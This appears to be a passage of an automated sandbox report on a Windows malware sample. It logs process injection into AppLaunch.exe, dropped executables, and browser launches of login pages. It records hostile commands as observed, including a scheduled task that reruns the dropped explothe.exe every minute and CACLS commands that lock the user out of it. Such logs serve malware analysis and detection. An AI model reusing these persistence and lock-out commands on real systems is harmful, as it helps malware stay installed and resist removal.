PID 4796 wrote to memory of 3468 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1EN31Do1.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4796 wrote to memory of 3468 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1EN31Do1.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4796 wrote to memory of 3468 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1EN31Do1.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4796 wrote to memory of 3468 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1EN31Do1.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4796 wrote to memory of 3468 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1EN31Do1.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4232 wrote to memory of 5040 N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\JB2jr05.exe C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2yu2241.exe
PID 4232 wrote to memory of 5040 N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\JB2jr05.exe C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2yu2241.exe
PID 4232 wrote to memory of 5040 N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\JB2jr05.exe C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2yu2241.exe
PID 5040 wrote to memory of 1092 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2yu2241.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 5040 wrote to memory of 1092 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2yu2241.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 5040 wrote to memory of 1092 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2yu2241.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 5040 wrote to memory of 5016 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2yu2241.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 5040 wrote to memory of 5016 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2yu2241.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 5040 wrote to memory of 5016 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2yu2241.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 5040 wrote to memory of 4464 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2yu2241.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 5040 wrote to memory of 4464 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2yu2241.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 5040 wrote to memory of 4464 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2yu2241.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 5040 wrote to memory of 4464 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2yu2241.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 5040 wrote to memory of 4464 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2yu2241.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 5040 wrote to memory of 4464 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2yu2241.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 5040 wrote to memory of 4464 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2yu2241.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 5040 wrote to memory of 4464 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2yu2241.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 5040 wrote to memory of 4464 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2yu2241.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 5040 wrote to memory of 4464 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2yu2241.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2116 wrote to memory of 4344 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\xE6uU43.exe C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3bZ71yk.exe
PID 2116 wrote to memory of 4344 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\xE6uU43.exe C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3bZ71yk.exe
PID 2116 wrote to memory of 4344 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\xE6uU43.exe C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3bZ71yk.exe
PID 2860 wrote to memory of 3656 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\cA2Bb69.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4JS032rO.exe
PID 2860 wrote to memory of 3656 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\cA2Bb69.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4JS032rO.exe
PID 2860 wrote to memory of 3656 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\cA2Bb69.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4JS032rO.exe
PID 3656 wrote to memory of 564 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4JS032rO.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 3656 wrote to memory of 564 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4JS032rO.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 3656 wrote to memory of 564 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4JS032rO.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 3656 wrote to memory of 564 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4JS032rO.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 3656 wrote to memory of 564 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4JS032rO.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 3656 wrote to memory of 564 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4JS032rO.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 3656 wrote to memory of 564 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4JS032rO.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 3656 wrote to memory of 564 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4JS032rO.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 1252 wrote to memory of 3724 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\VW3RY89.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\5RR0Jt9.exe
PID 1252 wrote to memory of 3724 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\VW3RY89.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\5RR0Jt9.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Users\Admin\AppData\Local\Temp\bd7c9bf28033b40a9a7915b1718589d147be884b09cf25f5f0b4628344911ff4.exe

"C:\Users\Admin\AppData\Local\Temp\bd7c9bf28033b40a9a7915b1718589d147be884b09cf25f5f0b4628344911ff4.exe"

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\jN6sh25.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\jN6sh25.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\VW3RY89.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\VW3RY89.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\cA2Bb69.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\cA2Bb69.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\xE6uU43.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\xE6uU43.exe

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\JB2jr05.exe

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\JB2jr05.exe

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1EN31Do1.exe

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1EN31Do1.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2yu2241.exe

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2yu2241.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 364 -p 4464 -ip 4464

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3bZ71yk.exe

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3bZ71yk.exe

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4464 -s 540

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4JS032rO.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4JS032rO.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\5RR0Jt9.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\5RR0Jt9.exe

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe

"C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe"

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\6Yt1Fo5.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\6Yt1Fo5.exe

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN explothe.exe /TR "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe" /F

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "explothe.exe" /P "Admin:N"&&CACLS "explothe.exe" /P "Admin:R" /E&&echo Y|CACLS "..\fefffe8cea" /P "Admin:N"&&CACLS "..\fefffe8cea" /P "Admin:R" /E&&Exit

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo Y"

C:\Windows\SysWOW64\cacls.exe

CACLS "explothe.exe" /P "Admin:N"

C:\Windows\SysWOW64\cacls.exe

CACLS "explothe.exe" /P "Admin:R" /E

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo Y"

C:\Windows\SysWOW64\cacls.exe

CACLS "..\fefffe8cea" /P "Admin:N"

C:\Windows\SysWOW64\cacls.exe

CACLS "..\fefffe8cea" /P "Admin:R" /E

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\7lO5iB92.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\7lO5iB92.exe

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\1D37.tmp\1D38.tmp\1D39.bat C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\7lO5iB92.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x168,0x16c,0x170,0x144,0x174,0x7ff912c946f8,0x7ff912c94708,0x7ff912c94718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x160,0x164,0x168,0x13c,0x16c,0x7ff912c946f8,0x7ff912c94708,0x7ff912c94718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ff912c946f8,0x7ff912c94708,0x7ff912c94718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2116 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2192,17594325986548829259,6179915841968929475,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2216 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2632 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2116,13904799393368316218,9347351365929737179,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2116,13904799393368316218,9347351365929737179,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2112 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2192,17594325986548829259,6179915841968929475,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2272 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3388 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3396 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3956 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4092 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5056 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5044 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe

C:\Users\Admin\AppData\Local\Temp\40DC.exe

C:\Users\Admin\AppData\Local\Temp\40DC.exe

C:\Users\Admin\AppData\Local\Temp\4189.exe

C:\Users\Admin\AppData\Local\Temp\4189.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\jo0qJ2CP.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\jo0qJ2CP.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\SZ6Uv0Ql.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\SZ6Uv0Ql.exe

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\438E.bat" "

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\yB8RE0ZD.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\yB8RE0ZD.exe

C:\Users\Admin\AppData\Local\Temp\4479.exe

C:\Users\Admin\AppData\Local\Temp\4479.exe

C:\Users\Admin\AppData\Local\Temp\4545.exe

C:\Users\Admin\AppData\Local\Temp\4545.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5920 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5904 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\ee9qf2gz.exe

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\ee9qf2gz.exe

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1nB52wS1.exe

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1nB52wS1.exe

C:\Users\Admin\AppData\Local\Temp\4863.exe

C:\Users\Admin\AppData\Local\Temp\4863.exe

C:\Users\Admin\AppData\Local\Temp\4A78.exe

C:\Users\Admin\AppData\Local\Temp\4A78.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5656 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5752 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff912c946f8,0x7ff912c94708,0x7ff912c94718

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 4516 -ip 4516

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6404 /prefetch:1

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4516 -s 784

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6496 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff912c946f8,0x7ff912c94708,0x7ff912c94718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6780 /prefetch:1

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 828 -ip 828

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2ma938tn.exe

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2ma938tn.exe

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 828 -s 540

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

